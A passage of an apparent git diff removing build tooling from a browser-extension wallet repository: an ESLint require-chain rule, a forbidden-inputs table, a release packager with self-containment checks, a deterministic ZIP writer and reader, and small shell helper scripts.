// stops at `<dir>/index.js` reports a specifier it matched perfectly well as
// unresolvable.
function packageMain(dir) {
try {
const pkg = JSON.parse(
fs.readFileSync(path.join(dir, "package.json"), "utf8"),
);
return typeof pkg.main === "string" && pkg.main ? pkg.main : null;
} catch {
return null;
}
}
// Resolve a relative require to a file path, trying what node and esbuild would
// in the order they would: the path itself, then extensions, then the directory
// (its package.json `main`, then its index.js).
function resolveRelative(fromFile, spec) {
if (!spec.startsWith(".")) return null; // a package, not our tree
const base = path.resolve(path.dirname(fromFile), spec);
const main = packageMain(base);
for (const candidate of [
base,
base + ".js",
base + ".json",
...(main
? [path.resolve(base, main), path.resolve(base, main) + ".js"]
: []),
path.join(base, "index.js"),
]) {
try {
if (fs.statSync(candidate).isFile()) return candidate;
} catch {
// Not this candidate.
}
}
return null;
}
function requiresOf(file) {
let source;
try {
source = fs.readFileSync(file, "utf8");
} catch {
return [];
}
const out = [];
for (const match of source.matchAll(SPECIFIER_RE)) {
const resolved = resolveRelative(file, match[1] ?? match[2]);
if (resolved) out.push(resolved);
}
return out;
}
// Breadth-first from `entry`, returning the shortest chain of files that ends
// at one of the forbidden modules, or null when none is reachable.
function chainToForbidden(entry, forbidden) {
const seen = new Set([entry]);
const queue = [[entry]];
while (queue.length > 0) {
const chain = queue.shift();
for (const next of requiresOf(chain[chain.length - 1])) {
if (forbidden.has(next)) return chain.concat([next]);
if (seen.has(next)) continue;
seen.add(next);
queue.push(chain.concat([next]));
}
}
return null;
}
const rule = {
meta: {
type: "problem",
docs: {
description:
"the background bundle must not be able to reach the" +
" module-level state singleton in src/shared/state.js",
},
schema: [],
messages: {
reachable:
"The background must not reach the shared state singleton:" +
" {{chain}}. The MV3 worker never populates it, so reading it" +
" serves DEFAULT_STATE. Use getState()/updateState() from" +
" src/background/state.js instead.",
},
},
create(context) {
return {
"Program:exit"(node) {
const filename = context.filename;
// ESLint lints from the repo root, which is also where the
// forbidden paths are anchored.
const forbidden = new Set(
FORBIDDEN.map((module) =>
path.resolve(context.cwd, module),
),
);
const chain = chainToForbidden(
path.resolve(filename),
forbidden,
);
if (!chain) return;
context.report({
node,
messageId: "reachable",
data: {
chain: chain
.map((file) => path.relative(context.cwd, file))
.join(" -> "),
},
});
},
};
},
};
module.exports = {
rules: { "no-state-singleton-in-background": rule },
};

View File

@@ -1,123 +0,0 @@
// The modules a given entry point's bundle may not contain, keyed by the
// repo-relative entry point.
//
// ONE table, read by both layers that act on it: build.js asserts it against
// esbuild's own metafile (the guarantee), and
// script/lib/eslint/noStateSingletonInBackground.js reports the same
// prohibition in the editor (fast feedback). It lives here because a second
// literal copy of the path is exactly how a rename disarms one layer while the
// other still looks enforced.
//
// src/shared/state.js holds a module-level `state` object, loaded once by
// loadState() and mutated in place from then on. That is the popup's model:
// one page, one load at boot, one lifetime. The MV3 service worker has no
// "once" — it is killed when idle and revived by the next message, nothing
// loads state at module scope, and an unpopulated read was answered out of
// DEFAULT_STATE in silence. Five defects came from that, one of which
// destroyed a wallet (https://git.eeqj.de/sneak/AutistMask/issues/324). The
// background has its own per-call storage layer in src/background/state.js
// instead.
//
// What build.js's assertion covers, measured rather than assumed:
//
// - Any import of a listed module, at any hop, in any specifier syntax,
// however esbuild resolved it. The check reads the input list esbuild
// reported for the emitted bundle, so it is the resolution the shipped
// file was built from and not a model of it. Measured on a computed
// specifier that esbuild constant-folds (`require("../shared/" +
// "state")`), on a computed specifier it resolves as a glob
// (`import("../shared/" + variable)`), and on a symlink to the module
// (esbuild reports the real path): each is `make build` exit 2.
//
// - Every background entry point, whether or not anyone remembered to list
// it. A bundled entry point under BACKGROUND_ENTRY_PREFIX with no line in
// this table fails the build (assertNoForbiddenInputs()), so adding a
// second worker entry point is protected by default rather than protected
// only if the person adding it knew about this file. Measured: bundling
// src/background/worker2.js with no line here is `make build` exit 2.
//
// - NOT covered: a COPY of a listed module at another path. The table is
// keyed by path, so `cp src/shared/state.js src/shared/stateCopy.js` plus
// a background require of the copy is `make build` exit 0 and `make lint`
// exit 0 (measured). The copy carries the singleton's own guard, so
// defects 1-3 of https://git.eeqj.de/sneak/AutistMask/issues/324 — a read
// of a field nothing loaded — become a loud StateNotLoadedError instead of
// a silent DEFAULT_STATE. Defects 4 and 5 do NOT: a copy also carries
// loadState(), and a stale read several awaits after a load, or a load
// detaching the objects an in-flight handler is mutating, are silent over
// a LOADED singleton whether it is the original or a copy. So the residual
// is wider than "it fails loudly". A newly WRITTEN singleton has no
// backstop at all.
//
// - NOT covered: a background-behaving entry point outside
// BACKGROUND_ENTRY_PREFIX. The default protection above is keyed on that
// directory, which is also what eslint.config.js scopes the rule to, so a
// worker entry point placed somewhere else is covered by neither layer and
// needs its own line here.
//
// The ESLint rule's bounds are its own and are narrower: it matches specifiers
// textually, so a computed specifier and a symlink to a listed module are
// reported by the build and not by the rule. Both are pinned as non-reports in
// tests/backgroundStateLintRule.test.js and are `make build` exit 2 (measured).
// A second background entry point reached by one of those two shapes is
// therefore caught by the build and not by the rule — which is the same
// division of labour as everywhere else here, not an extra hole.
//
// Every way the table itself can rot is a failure rather than a quiet pass:
//
// - a KEY no bundled entry point matched, and a listed MODULE this build
// bundled nowhere: assertForbiddenTableCovered(), at the end of a build;
// - an entry that lists NO modules, and a table with no entries at all:
// assertTableWellFormed() below, at require time — so it fails the build
// and the lint run alike, because the rule reads the same values and an
// empty list leaves it with nothing to look for.
//
// All of it is pinned by tests/buildForbiddenInputs.test.js.
// What counts as a background entry point, and therefore must be listed above.
// The build has no other notion of one: entry points are the paths handed to
// bundle(), and this prefix is the narrowest rule that names the worker's
// directory. eslint.config.js scopes the lint rule with the same prefix, from
// this constant, so the two layers cannot disagree about what "background"
// means.
const BACKGROUND_ENTRY_PREFIX = "src/background/";
const FORBIDDEN_INPUTS = {
"src/background/index.js": ["src/shared/state.js"],
};
// Refuse a table that cannot prohibit anything. An entry whose module list is
// empty passes every check in both layers while enforcing nothing: the build
// finds no module to look for and records the entry as checked, and the rule's
// forbidden set — Object.values(...).flat() — comes back empty, so a plain
// `require("../shared/state")` in the worker is green everywhere. That is a
// one-character edit, so it fails here, where the table is defined and both
// layers must load it, rather than in either layer's own checks.
function assertTableWellFormed(table) {
const entries = Object.entries(table);
if (entries.length === 0) {
throw new Error(
"FORBIDDEN_INPUTS is empty, so nothing is prohibited anywhere. " +
"Removing the last entry disables the guarantee behind " +
"https://git.eeqj.de/sneak/AutistMask/issues/324.",
);
}
for (const [entry, modules] of entries) {
if (!Array.isArray(modules) || modules.length === 0) {
throw new Error(
`FORBIDDEN_INPUTS["${entry}"] lists no modules, so it ` +
`prohibits nothing while still looking enforced. Give it ` +
`the modules that entry point may not reach, or remove ` +
`the entry.`,
);
}
}
}
assertTableWellFormed(FORBIDDEN_INPUTS);
module.exports = {
BACKGROUND_ENTRY_PREFIX,
FORBIDDEN_INPUTS,
assertTableWellFormed,
};

View File

@@ -1,294 +0,0 @@
// Turn a verified dist/ into the two distributable archives.
//
// Invoked by script/package, which runs `make build` first so that dist/ has
// already been checked against the build's own receipt (see the Build Receipts
// section of README.md). This program does not build anything and does not
// write into dist/: it reads the emitted tree and writes release/.
//
// release/autistmask-chrome-<version>.zip loaded via chrome://extensions
// release/autistmask-firefox-<version>.xpi an UNSIGNED add-on, see README
// release/SHA256SUMS
//
// Self-containment is checked rather than assumed, because the layout invites
// exactly one mistake: build.js emits dist/styles.css at the dist/ ROOT,
// outside both browser directories, and copies it into each of them as
// src/popup/styles.css. A naive `zip -r dist/chrome` is therefore correct only
// by accident, and would stop being correct the moment a reference pointed up
// and out. So every path the manifest and the popup HTML reference is resolved
// and required to be inside the archive, a reference that escapes the browser
// directory is a hard failure, and anything sitting at the dist/ root is
// listed as deliberately not shipped rather than silently dropped.
//
// The archive is then read back and compared byte for byte against the
// directory it was built from. An archive nobody opened is a claim, not an
// artifact.
"use strict";
const crypto = require("crypto");
const fs = require("fs");
const path = require("path");
const { readZip, writeZip } = require("./zip");
const { resolveVersion } = require("./version");
const ROOT = path.resolve(__dirname, "..", "..");
const DIST = path.join(ROOT, "dist");
const RELEASE = path.join(ROOT, "release");
const TARGETS = [
{ dir: "chrome", ext: "zip" },
// .xpi rather than .zip: it is the same container, but Firefox's install
// flow keys off the extension.
{ dir: "firefox", ext: "xpi" },
];
// Strings in a manifest that name a file the extension loads. Matched by
// shape, not by a list of manifest keys, so a key added in a later manifest
// version is covered the day it appears rather than the day someone remembers
// to extend a list here. Nothing else in either manifest looks like this: the
// CSP strings, "<all_urls>", the version and the base64 key all fail it.
const MANIFEST_PATH_RE =
/^[A-Za-z0-9._][A-Za-z0-9._/-]*\.(?:js|css|html|json|png|svg|woff2?)$/;
// Local references out of an HTML document. Enough for what this repo emits —
// one stylesheet link and one script tag — and anything it does not understand
// is reported rather than passed over, see htmlReferences().
const HTML_REF_RE = /(?:src|href)\s*=\s*["']([^"']+)["']/gi;
function fail(message) {
throw new Error(message);
}
function sha256(buf) {
return crypto.createHash("sha256").update(buf).digest("hex");
}
// Every regular file under dir, as archive-root-relative forward-slashed
// paths. A symlink is refused rather than followed: build.js emits regular
// files only, so a link under dist/ is not something the build produced, and
// dereferencing one would put bytes from outside dist/ into the artifact.
function listFiles(dir, prefix = "") {
const out = [];
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
const rel = prefix ? `${prefix}/${entry.name}` : entry.name;
if (entry.isSymbolicLink()) {
fail(
`${dir}/${entry.name} is a symlink. The build emits regular ` +
`files only, so this is not something it produced and it ` +
`will not be archived.`,
);
} else if (entry.isDirectory()) {
out.push(...listFiles(path.join(dir, entry.name), rel));
} else if (entry.isFile()) {
out.push(rel);
} else {
fail(
`${dir}/${entry.name} is neither a regular file nor a ` +
`directory, so it is not something the build emitted`,
);
}
}
return out.sort();
}
// Collect every string anywhere in the manifest that looks like a file it
// loads, plus every string that tries to reach outside the extension root.
// The second half is the point: "../styles.css" never matches
// MANIFEST_PATH_RE, so without an explicit check an escaping reference would
// read as "not a path" and the missing file would be found only by a user
// whose popup rendered unstyled.
function manifestReferences(value, found = new Set()) {
if (typeof value === "string") {
if (value.split("/").includes("..")) {
fail(
`the manifest references ${JSON.stringify(value)}, which ` +
`points outside the extension root. Everything the ` +
`browser loads has to be inside the archive; nothing ` +
`above it is shipped.`,
);
}
if (MANIFEST_PATH_RE.test(value)) found.add(value);
} else if (Array.isArray(value)) {
for (const v of value) manifestReferences(v, found);
} else if (value && typeof value === "object") {
for (const v of Object.values(value)) manifestReferences(v, found);
}
return found;
}
// Local references out of one HTML member, resolved against that member's own
// directory and returned archive-relative. Absolute URLs, data: URIs and
// in-page anchors are not files and are skipped; a relative reference that
// climbs out of the archive root is a failure for the same reason as above.
function htmlReferences(member, text) {
const base = path.posix.dirname(member);
const out = new Set();
for (const match of text.matchAll(HTML_REF_RE)) {
const ref = match[1].trim();
if (ref === "" || ref.startsWith("#") || ref.startsWith("//")) continue;
if (/^[a-z][a-z0-9+.-]*:/i.test(ref)) continue;
if (ref.startsWith("/")) {
fail(
`${member} references ${JSON.stringify(ref)} from the ` +
`extension root. Nothing here emits root-absolute ` +
`references and this packager does not resolve them.`,
);
}
const resolved = path.posix.normalize(path.posix.join(base, ref));
if (resolved.startsWith("..")) {
fail(
`${member} references ${JSON.stringify(ref)}, which resolves ` +
`outside the extension root. build.js copies the ` +
`compiled stylesheet into each browser directory for ` +
`exactly this reason: dist/styles.css lives at the dist/ ` +
`root and is not part of either archive.`,
);
}
out.add(resolved);
}
return out;
}
// Everything the browser is told to load, and the assertion that all of it is
// in the archive.
function checkSelfContained(target, members, read) {
if (!members.includes("manifest.json")) {
fail(`dist/${target} has no manifest.json at its root`);
}
const manifest = JSON.parse(read("manifest.json").toString("utf8"));
const referenced = new Set(manifestReferences(manifest));
for (const member of members) {
if (!member.endsWith(".html")) continue;
for (const ref of htmlReferences(
member,
read(member).toString("utf8"),
)) {
referenced.add(ref);
}
}
const missing = [...referenced].filter((r) => !members.includes(r));
if (missing.length > 0) {
fail(
`the ${target} archive would not be self-contained: it is told ` +
`to load ${missing.join(", ")}, which ${
missing.length === 1 ? "is" : "are"
} not in it`,
);
}
return { manifest, referenced };
}
function main() {
const version = resolveVersion(ROOT);
if (!fs.existsSync(DIST)) {
fail(
"there is no dist/ to package. script/package runs make build " +
"first; run it rather than this program.",
);
}
fs.rmSync(RELEASE, { recursive: true, force: true });
fs.mkdirSync(RELEASE, { recursive: true });
// Files the build emits at the dist/ root, outside both browser
// directories. Printed rather than ignored: dist/styles.css is the
// Tailwind output that build.js then copies into each browser directory,
// so leaving it out is correct — but "correct and stated" and "dropped by
// a glob" are different things, and only one of them survives the next
// change to the build.
const rootOnly = fs
.readdirSync(DIST, { withFileTypes: true })
.filter((e) => !e.isDirectory())
.map((e) => e.name)
.sort();
if (rootOnly.length > 0) {
console.log(
`Not shipped (dist/ root, outside every browser directory, and ` +
`referenced by nothing inside one): ${rootOnly.join(", ")}`,
);
}
const sums = [];
for (const { dir, ext } of TARGETS) {
const targetDir = path.join(DIST, dir);
if (!fs.existsSync(targetDir)) {
fail(`dist/${dir} does not exist; run make build`);
}
const members = listFiles(targetDir);
const readFromDir = (member) =>
fs.readFileSync(path.join(targetDir, member));
const { manifest } = checkSelfContained(dir, members, readFromDir);
if (manifest.version !== version) {
fail(
`dist/${dir}/manifest.json says version ${manifest.version} ` +
`but this tree is ${version}. dist/ is stale: run make ` +
`build.`,
);
}
const archive = writeZip(
members.map((name) => ({ name, data: readFromDir(name) })),
);
const name = `autistmask-${dir}-${version}.${ext}`;
const outPath = path.join(RELEASE, name);
fs.writeFileSync(outPath, archive);
// Read the artifact back off disk, not the buffer that was just
// written: what ships is the file.
const written = fs.readFileSync(outPath);
const entries = readZip(written);
const inArchive = entries.map((e) => e.name).sort();
if (inArchive.join("\n") !== members.join("\n")) {
fail(
`${name} does not hold the same members as dist/${dir}: ` +
`archive has ${inArchive.length}, directory has ` +
`${members.length}`,
);
}
for (const entry of entries) {
const onDisk = readFromDir(entry.name);
if (sha256(entry.data) !== sha256(onDisk)) {
fail(`${name} member ${entry.name} differs from dist/${dir}`);
}
}
// Re-run the self-containment check against the ARCHIVE's own
// contents. The directory passing it is not the claim being made.
const byName = new Map(entries.map((e) => [e.name, e.data]));
checkSelfContained(dir, inArchive, (m) => byName.get(m));
const digest = sha256(written);
sums.push(`${digest} ${name}`);
console.log(
`${name}: ${entries.length} member(s), ${written.length} bytes, ` +
`sha256 ${digest}`,
);
}
fs.writeFileSync(
path.join(RELEASE, "SHA256SUMS"),
sums.map((l) => `${l}\n`).join(""),
);
console.log(`Wrote release/ for version ${version}`);
}
// Only when run as a program. The reference-resolving helpers are what decide
// whether an archive is self-contained, so tests/packaging.test.js exercises
// them directly and must be able to require this file without packaging
// anything.
if (require.main === module) {
try {
main();
} catch (err) {
console.error(`package: ${err && err.message ? err.message : err}`);
process.exit(1);
}
}
module.exports = { checkSelfContained, htmlReferences, manifestReferences };

View File

@@ -1,74 +0,0 @@
// The version, and the rule that there is only one of it.
//
// Three files declare a version and none of them can be derived from another:
// Chrome and Firefox each need their own manifest, both are copied to dist/
// verbatim (tests/manifest.test.js asserts that what is in manifest/ is what
// ships), and package.json's copy is what build.js compiles into the About
// screen. So the single source of truth is enforced rather than generated —
// they must all agree or there is no version and no build.
//
// Reading one of the three and ignoring the rest is what this replaces. That
// shape cannot fail: it silently ships an extension whose About screen and
// whose browser-reported version disagree, and whose release artifact is named
// after whichever file the packager happened to read.
//
// Required by build.js, script/lib/package.js and tests/version.test.js, so
// the build, the release artifacts and make check all apply the same rule to
// the same files.
"use strict";
const fs = require("fs");
const path = require("path");
const VERSION_SOURCES = [
"package.json",
"manifest/chrome.json",
"manifest/firefox.json",
];
// Every declared version, in VERSION_SOURCES order, as { source, version }.
// A file that declares nothing usable fails here rather than being skipped:
// a missing version is not agreement.
function declaredVersions(root) {
return VERSION_SOURCES.map((source) => {
const file = path.join(root, source);
let parsed;
try {
parsed = JSON.parse(fs.readFileSync(file, "utf8"));
} catch (e) {
throw new Error(
`${source} could not be read as JSON: ${e.message}`,
);
}
const version = parsed.version;
if (typeof version !== "string" || version.trim() === "") {
throw new Error(
`${source} declares no usable "version" (found ` +
`${JSON.stringify(version)}). Every artifact is named and ` +
`stamped with it, so there is nothing to build without it.`,
);
}
return { source, version };
});
}
// The one version all three declare, or a failure naming every disagreeing
// file and what it said.
function resolveVersion(root) {
const declared = declaredVersions(root);
const distinct = [...new Set(declared.map((d) => d.version))];
if (distinct.length !== 1) {
throw new Error(
"the declared versions disagree, so this tree has no version: " +
declared.map((d) => `${d.source}=${d.version}`).join(", ") +
". Set all of them to the same value: the manifests are what " +
"the browser reports and package.json is what the About " +
"screen shows, and a build that picked one of them would " +
"ship the disagreement.",
);
}
return distinct[0];
}
module.exports = { VERSION_SOURCES, declaredVersions, resolveVersion };

View File

@@ -1,274 +0,0 @@
// A minimal, deterministic ZIP writer and reader.
//
// Used by script/lib/package.js to build the distributable archives: a Chrome
// zip and a Firefox XPI are both ordinary zip files with manifest.json at the
// root, so one implementation covers both.
//
// Why this rather than a package or the zip(1) binary. A dependency would have
// to be hash-pinned like everything else in REPO_POLICIES.md, and this is
// about a hundred lines of stdlib zlib for a format the archives use two
// features of. The binary is worse: the release artifact would then depend on
// whichever Info-ZIP the machine happens to have, which is the same objection
// that keeps linting inside a container.
//
// Deterministic on purpose. Entries are sorted by name, every timestamp is the
// same fixed 1980-01-01 the format's epoch starts at, and the compression
// level is fixed, so building the same dist/ twice produces byte-identical
// archives and the sha256 in SHA256SUMS is a property of the input rather than
// of the clock. Two builds of the same commit that disagree are then visible
// instead of expected.
//
// Deliberately NOT implemented: zip64, encryption, data descriptors,
// directory entries (browsers infer directories from member paths), and
// anything to do with symlinks. writeZip refuses input it cannot represent
// rather than emitting an archive that is quietly wrong.
"use strict";
const zlib = require("zlib");
const LOCAL_SIG = 0x04034b50;
const CENTRAL_SIG = 0x02014b50;
const EOCD_SIG = 0x06054b50;
const METHOD_STORE = 0;
const METHOD_DEFLATE = 8;
// 1980-01-01 00:00:00, the earliest the MS-DOS timestamp fields can express.
const DOS_DATE = (0 << 9) | (1 << 5) | 1;
const DOS_TIME = 0;
// Unix regular file, mode 0644, in the high 16 bits, which is where the "made
// by unix" convention puts it.
// >>> 0 because JS shifts are signed 32-bit and this one sets the top bit.
const EXTERNAL_ATTRS = (0o100644 << 16) >>> 0;
const VERSION_MADE_BY = (3 << 8) | 20; // unix, needs zip 2.0
const VERSION_NEEDED = 20;
// Without zip64 every size and offset is a u32.
const MAX_U32 = 0xffffffff;
const CRC_TABLE = (() => {
const table = new Int32Array(256);
for (let i = 0; i < 256; i++) {
let c = i;
for (let k = 0; k < 8; k++) {
c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
}
table[i] = c;
}
return table;
})();
// Written out rather than taken from zlib.crc32, which only exists from node
// 22.2: this runs from script/ on whatever node the host has as well as inside
// the pinned image, and a checksum that silently is not there is worse than
// twelve lines.
function crc32(buf) {
let c = -1;
for (let i = 0; i < buf.length; i++) {
c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
}
return (c ^ -1) >>> 0;
}
// Member names are stored as raw bytes. Anything outside ASCII would need the
// UTF-8 flag and interoperability care that nothing this repo emits requires,
// so it is refused instead of guessed at.
function encodeName(name) {
if (typeof name !== "string" || name === "") {
throw new Error(`zip: unusable member name ${JSON.stringify(name)}`);
}
const segments = name.split("/");
if (
name.startsWith("/") ||
name.includes("\\") ||
segments.some((s) => s === "" || s === "." || s === "..")
) {
throw new Error(
`zip: refusing member name ${JSON.stringify(name)}: archive ` +
`members must be relative paths under the archive root`,
);
}
if (/[^\x20-\x7e]/.test(name)) {
throw new Error(
`zip: refusing non-ASCII member name ${JSON.stringify(name)}`,
);
}
return Buffer.from(name, "ascii");
}
function compress(data) {
if (data.length === 0) {
return { method: METHOD_STORE, body: data };
}
const deflated = zlib.deflateRawSync(data, { level: 9 });
if (deflated.length >= data.length) {
return { method: METHOD_STORE, body: data };
}
return { method: METHOD_DEFLATE, body: deflated };
}
// entries: [{ name, data }]. Returns the archive as a Buffer.
function writeZip(entries) {
if (!Array.isArray(entries) || entries.length === 0) {
throw new Error("zip: refusing to write an archive with no members");
}
const sorted = [...entries].sort((a, b) => (a.name < b.name ? -1 : 1));
const seen = new Set();
const locals = [];
const centrals = [];
let offset = 0;
for (const entry of sorted) {
const name = encodeName(entry.name);
if (seen.has(entry.name)) {
throw new Error(`zip: duplicate member ${entry.name}`);
}
seen.add(entry.name);
const data = Buffer.from(entry.data);
const { method, body } = compress(data);
if (data.length > MAX_U32 || body.length > MAX_U32) {
throw new Error(
`zip: ${entry.name} is too large for a non-zip64 archive`,
);
}
const crc = crc32(data);
const local = Buffer.alloc(30 + name.length);
local.writeUInt32LE(LOCAL_SIG, 0);
local.writeUInt16LE(VERSION_NEEDED, 4);
local.writeUInt16LE(0, 6);
local.writeUInt16LE(method, 8);
local.writeUInt16LE(DOS_TIME, 10);
local.writeUInt16LE(DOS_DATE, 12);
local.writeUInt32LE(crc, 14);
local.writeUInt32LE(body.length, 18);
local.writeUInt32LE(data.length, 22);
local.writeUInt16LE(name.length, 26);
local.writeUInt16LE(0, 28);
name.copy(local, 30);
const central = Buffer.alloc(46 + name.length);
central.writeUInt32LE(CENTRAL_SIG, 0);
central.writeUInt16LE(VERSION_MADE_BY, 4);
central.writeUInt16LE(VERSION_NEEDED, 6);
central.writeUInt16LE(0, 8);
central.writeUInt16LE(method, 10);
central.writeUInt16LE(DOS_TIME, 12);
central.writeUInt16LE(DOS_DATE, 14);
central.writeUInt32LE(crc, 16);
central.writeUInt32LE(body.length, 20);
central.writeUInt32LE(data.length, 24);
central.writeUInt16LE(name.length, 28);
central.writeUInt16LE(0, 30);
central.writeUInt16LE(0, 32);
central.writeUInt16LE(0, 34);
central.writeUInt16LE(0, 36);
central.writeUInt32LE(EXTERNAL_ATTRS, 38);
if (offset > MAX_U32) {
throw new Error("zip: archive too large for a non-zip64 archive");
}
central.writeUInt32LE(offset, 42);
name.copy(central, 46);
locals.push(local, body);
centrals.push(central);
offset += local.length + body.length;
}
const centralBuf = Buffer.concat(centrals);
const eocd = Buffer.alloc(22);
eocd.writeUInt32LE(EOCD_SIG, 0);
eocd.writeUInt16LE(0, 4);
eocd.writeUInt16LE(0, 6);
eocd.writeUInt16LE(sorted.length, 8);
eocd.writeUInt16LE(sorted.length, 10);
eocd.writeUInt32LE(centralBuf.length, 12);
eocd.writeUInt32LE(offset, 16);
eocd.writeUInt16LE(0, 20);
return Buffer.concat([...locals, centralBuf, eocd]);
}
// Read an archive back into [{ name, data }], from the central directory
// rather than by scanning for local headers: the central directory is the
// authoritative index, and a member reachable only by scanning is one a real
// unzipper would not extract.
//
// Every member's CRC is checked. The point of reading an archive back is to
// establish that it holds what it was meant to hold, so a member that does not
// decompress to its recorded checksum is a failure and never a warning.
function readZip(buf) {
if (buf.length < 22) {
throw new Error("zip: too short to be an archive");
}
// No archive this writes has a trailing comment, so the EOCD is the last
// 22 bytes. Anything else is not an archive this produced.
const eocdAt = buf.length - 22;
if (buf.readUInt32LE(eocdAt) !== EOCD_SIG) {
throw new Error(
"zip: no end-of-central-directory record at the end of the " +
"archive (a trailing comment, or not a zip at all)",
);
}
const count = buf.readUInt16LE(eocdAt + 10);
const centralSize = buf.readUInt32LE(eocdAt + 12);
let at = buf.readUInt32LE(eocdAt + 16);
if (at + centralSize > eocdAt) {
throw new Error("zip: central directory runs past the archive");
}
const out = [];
for (let i = 0; i < count; i++) {
if (buf.readUInt32LE(at) !== CENTRAL_SIG) {
throw new Error(`zip: bad central directory entry ${i}`);
}
const method = buf.readUInt16LE(at + 10);
const crc = buf.readUInt32LE(at + 16);
const compSize = buf.readUInt32LE(at + 20);
const rawSize = buf.readUInt32LE(at + 24);
const nameLen = buf.readUInt16LE(at + 28);
const extraLen = buf.readUInt16LE(at + 30);
const commentLen = buf.readUInt16LE(at + 32);
const localAt = buf.readUInt32LE(at + 42);
const name = buf.toString("ascii", at + 46, at + 46 + nameLen);
at += 46 + nameLen + extraLen + commentLen;
if (buf.readUInt32LE(localAt) !== LOCAL_SIG) {
throw new Error(`zip: ${name} has no local header`);
}
// The local header's own name and extra lengths, not the central
// directory's: the two are allowed to differ and the data starts after
// the local ones.
const localNameLen = buf.readUInt16LE(localAt + 26);
const localExtraLen = buf.readUInt16LE(localAt + 28);
const dataAt = localAt + 30 + localNameLen + localExtraLen;
const body = buf.subarray(dataAt, dataAt + compSize);
let data;
if (method === METHOD_STORE) {
data = Buffer.from(body);
} else if (method === METHOD_DEFLATE) {
data = zlib.inflateRawSync(body);
} else {
throw new Error(`zip: ${name} uses compression method ${method}`);
}
if (data.length !== rawSize) {
throw new Error(
`zip: ${name} decompressed to ${data.length} bytes, not the ` +
`recorded ${rawSize}`,
);
}
if (crc32(data) !== crc) {
throw new Error(`zip: ${name} fails its recorded CRC32`);
}
out.push({ name, data });
}
return out;
}
module.exports = { crc32, readZip, writeZip };

View File

@@ -1,51 +0,0 @@
#!/bin/sh
# script/lint: run the linter (eslint, then prettier --check).
#
# Linting is containerized. ESLint results depend on the ESLint version, and
# the pinned one is the one in the image; a host's own install must not be
# able to decide whether this repo is green. From a host this therefore builds
# the Dockerfile's `lint` stage, which runs this same script inside the image.
#
# AUTISTMASK_LINT_NATIVE is set only in that image (see the Dockerfile) and is
# what stops the recursion, so `make check` inside the CI build lints in place
# instead of trying to reach a docker daemon it does not have.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
main() {
cd "$ROOT"
case "${AUTISTMASK_LINT_NATIVE:-}" in
1)
echo "Linting..."
yarn run lint 2>&1
return 0
;;
"") ;;
*)
# Set but not recognized: say so rather than silently taking the
# docker path, which would look like the variable had no effect.
echo "lint: AUTISTMASK_LINT_NATIVE is set to" \
"'${AUTISTMASK_LINT_NATIVE}'; the only recognized value is 1" >&2
exit 1
;;
esac
if ! command -v docker >/dev/null 2>&1; then
echo "lint: docker is required; linting does not run on the host" >&2
exit 1
fi
echo "Linting in the pinned container..."
# --progress=plain: the default progress renderer collapses the lint
# output on success, and a lint run whose output cannot be seen is not
# evidence that it ran.
#
# --output=type=cacheonly: the exit status is the whole result; exporting
# an image afterwards costs about ten times the lint itself.
docker build --progress=plain --target lint \
--output=type=cacheonly . 2>&1
}
main "$@"

View File

@@ -1,38 +0,0 @@
#!/bin/sh
# script/package: produce the release artifacts — one self-contained,
# versioned archive per browser — into release/. Our own extension to
# scripts-to-rule-them-all.
#
# It builds first, through `make build` rather than by calling build.js
# itself. That target is the only audited path to a release build: it creates
# the build receipt outside the repo, scrubs AUTISTMASK_DEBUG from the
# verifier's environment, tells script/verify-build in so many words to expect
# a RELEASE build, and re-runs script/check-censored against dist/.
# script/test-verify-build asserts that wiring by reading the recipe back out
# of `make -n`. Re-implementing that sequence here would give the release
# artifacts a second, unaudited path to dist/ — and it is the release
# artifacts, above everything else, that must never be built from a debug
# compile.
#
# This packages, it does not publish. Tagging, CRX packing and any upload are
# outward-facing acts and are nobody's job but the owner's.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
main() {
cd "$ROOT"
if ! command -v make >/dev/null 2>&1; then
echo "package: make is required (the release build runs through" \
"make build)" >&2
exit 1
fi
make build
echo "Packaging release artifacts..."
node script/lib/package.js
}
main "$@"

View File

@@ -1,12 +0,0 @@
#!/bin/sh
# script/precommit: run by the git pre-commit hook; fails the commit if
# checks fail. Our own extension to scripts-to-rule-them-all.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
main() {
"$SCRIPT_DIR/check"
}
main "$@"

View File

@@ -1,12 +0,0 @@
#!/bin/sh
# script/projectname: output the name of this project. Our own
# extension to scripts-to-rule-them-all. Other scripts that need the
# name (e.g. script/docker) call this, so they can stay identical
# across all repos.
set -eu
main() {
echo "autistmask"
}
main "$@"

View File

@@ -1,13 +0,0 @@
#!/bin/sh
# script/setup: set up the repo for development after a fresh clone:
# installs dependencies and the git pre-commit hook.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
main() {
"$SCRIPT_DIR/bootstrap"
"$SCRIPT_DIR/install-precommit"
}
main "$@"

View File

@@ -1,49 +0,0 @@
#!/bin/sh
# script/test: run the test suite.
#
# The timeout bounds a hung suite; it is not a performance budget. On a
# developer host the suite finishes in about 8s and REPO_POLICIES' 30s cap is
# the bound. Inside the image the same suite also pays a cold jest cache and
# shares the runner with the rest of the build, which is not what that budget
# describes, so the Dockerfile raises the bound through
# AUTISTMASK_TEST_TIMEOUT. A cap a healthy suite can trip on a cold cache
# produces a red that means nothing, and teaches "just run it again".
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
TIMEOUT="${AUTISTMASK_TEST_TIMEOUT:-30}"
main() {
cd "$ROOT"
echo "Running tests (timeout ${TIMEOUT}s)..."
status=0
timeout "$TIMEOUT" yarn run test 2>&1 || status=$?
[ "$status" -eq 0 ] && return 0
# 124 is timeout(1) killing the suite. Say so: a kill is not a failed
# assertion, and the verbose rerun would only spend the same wall clock
# to be killed again.
if [ "$status" -eq 124 ]; then
echo "tests: TIMED OUT after ${TIMEOUT}s (no assertion failed)" >&2
echo "tests: raise AUTISTMASK_TEST_TIMEOUT if the suite is healthy" >&2
exit 1
fi
# 125 is timeout(1) itself failing, which here means AUTISTMASK_TEST_TIMEOUT
# is not a duration it accepts. The suite never ran, so it neither timed out
# nor failed, and the verbose rerun would only reprint the same complaint.
if [ "$status" -eq 125 ]; then
